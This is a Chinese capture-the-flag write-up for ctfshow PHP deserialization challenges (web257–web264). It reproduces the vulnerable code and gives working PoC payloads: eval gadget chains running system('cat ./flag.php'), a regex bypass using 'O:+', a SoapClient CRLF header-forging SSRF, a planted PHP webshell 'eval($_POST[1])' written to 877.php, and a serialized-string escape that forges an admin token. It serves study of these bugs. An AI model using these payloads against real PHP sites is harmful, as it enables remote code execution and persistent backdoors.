php魔术方法
__construct():实例化对象时被调用, 当__construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。
__destruct():当删除一个对象或对象操作终止时被调用
__call():对象调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
__get():读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
__set():设置一个对象的属性时, 若属性存在,则直接赋值;
若不存在,则会调用__set函数
__toString():打印一个对象的时被调用。如echo obj;或print obj;
__clone():克隆对象时被调用。如:t=newTest();t1=clone $t;
__sleep():执行serialize()时,先会调用这个函数
__wakeup():unserialize时被调用,做些对象的初始化工作
__isset():检测一个对象的属性是否存在时被调用。如:isset($c->name)
__unset():unset一个对象的属性时被调用。如:unset($c->name)。
__set_state():调用var_export时,被调用。用__set_state的返回值做为var_export的返回值。
invoke():它允许对象以函数的方式被调用。当尝试调用一个对象时,如果该对象定义了__invoke方法,那么这个方法会被自动调用。
__autoload():实例化一个对象时,如果对应的类不存在,则该方法被调用。
web257
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
|
最终目的是出发类backdoor的eval,使其执行任意代码。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=true; private $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ private $code='system("cat ./flag.php");'; public function getInfo(){ eval($this->code); } } echo(urlencode(serialize(new ctfShowUser())));
|
cookie:user=username=xxxxxx&password=xxxxxx
web258
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
|
在上题基础上加了正则:这段代码检查 $_COOKIE[‘user’] 中的值是否符合以 o: 或 c: 开头,后面跟着一个或多个数字,并以冒号 : 结尾的模式。如果不符合此模式,则 if 语句块中的代码会被执行。
也就是user不可以是之前的形式了,0:1这种形式可以加一个+号绕过该正则,也就是换为0:+1。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class ctfShowUser{ public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code='system("cat f*");'; } $a = serialize(new ctfShowUser()); $a = str_replace('O:','O:+',$a); echo urlencode($a);
|
web259
CRLF
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。 所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
Soap
SoapClient 是 PHP 提供的一个原生类,用于通过 SOAP 协议与 Web 服务进行通信。它可以发送请求、接收响应,并与远程服务进行数据交换。
基本功能
SOAP (Simple Object Access Protocol) 是一种基于 XML 的协议,用于在分布式环境中交换信息。
SoapClient 提供了一种简单的方式来调用基于 SOAP 的 Web 服务,无需手动处理复杂的 SOAP 请求和响应。
SoapClient 类的构造
创建 SoapClient 对象时,需要传递以下参数:
WSDL (Web Services Description Language):描述服务的方法和数据结构。
选项数组:用于配置客户端行为,如验证、超时设置等。
提供一个SoapClient的使用示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
$wsdl = "http://www.dneonline.com/calculator.asmx?WSDL";
try { $client = new SoapClient($wsdl);
$params = ['intA' => 5, 'intB' => 3]; $result = $client->__soapCall("Add", [$params]);
echo "Result: " . $result->AddResult . "\n"; } catch (SoapFault $e) { echo "Error: {$e->getMessage()}\n"; }
|
由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。因此在CTF中通常会出现一种存在调用不存在的方法、并且需要我们伪造请求头的题目。这种时候,SoapClient正好可以给我们解决问题
本题中,将倒数第一和第二个ip,弹出,将倒数第二个ip赋给变量ip,其值必须是127.0.0.1
在本题的环境当中,由于使用了Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP
本地测试:用soap给9999端口发送调用__call的请求
1 2 3 4
| <?php $client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test')); $client->getFlag(); ?>
|
uri是命名空间URI,它在SOAP消息中用于标识服务。URI通常不会指向实际的资源,而是用来标识命名空间。 location是实际的服务端点URL,即SOAP请求将发送到的服务器地址。
现在要做的就是加一个字段ua的大小限制,使得整个请求头都被伪造。而后面超过限制的部分被忽略
poc:
1 2 3 4 5 6 7
| <?php $ua = "zeph\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
echo urlencode(serialize($client)); ?>
|
web260
1 2 3 4 5
| include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
|
poc:
1 2 3 4 5
| <?php class ctf{ public $ww='ctfshow_i_love_36D'; } echo urlencode(serialize(new ctf()));
|
web261
打redis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| class ctfshowvip{ public $username; public $password; public $code;
public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); }
public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } }
|
在定义_unserialize()方法后,_wakeup()会失效。_invoke()没什么利用点,只能看_destruct()。
需要满足:
code=0x36d,而在unserialize里code由两个字段拼接而成。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class ctfshowvip{ public $username; public $password=''; public $code='';
public function __construct(){ $this->username='877.php'; $this->password='<?php eval($_POST[1]);?>';
} } echo urlencode(serialize(new ctfshowvip()));
|
web262&264
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
|
因该是一个非预期,在message.phP传入cookie值msg的token值为admin即可
1 2 3 4 5 6
| <?php class message{ public $token='admin'; }
echo base64_encode(serialize(new message()));
|
预期解:字符串逃逸。目标是注入to参数闭合“,使得注入后的结果为:
{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
后面的部分会被省略,以此达到篡改token字段的目的,也即传入t=3”;s:5:”token”;s:5:”admin”;}
问题是字符数量出现问题,因此可以利用str_replace(‘fuck’, ‘loveU’, serialize($msg));进行绕过 当t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
时
序列化字符串数量正确——O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:2;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
也就是我们需要输入 27 个 fuck
web264 首页中把写入的位置从cookie换成session 区别是需要手动添加一个cookie字段 msg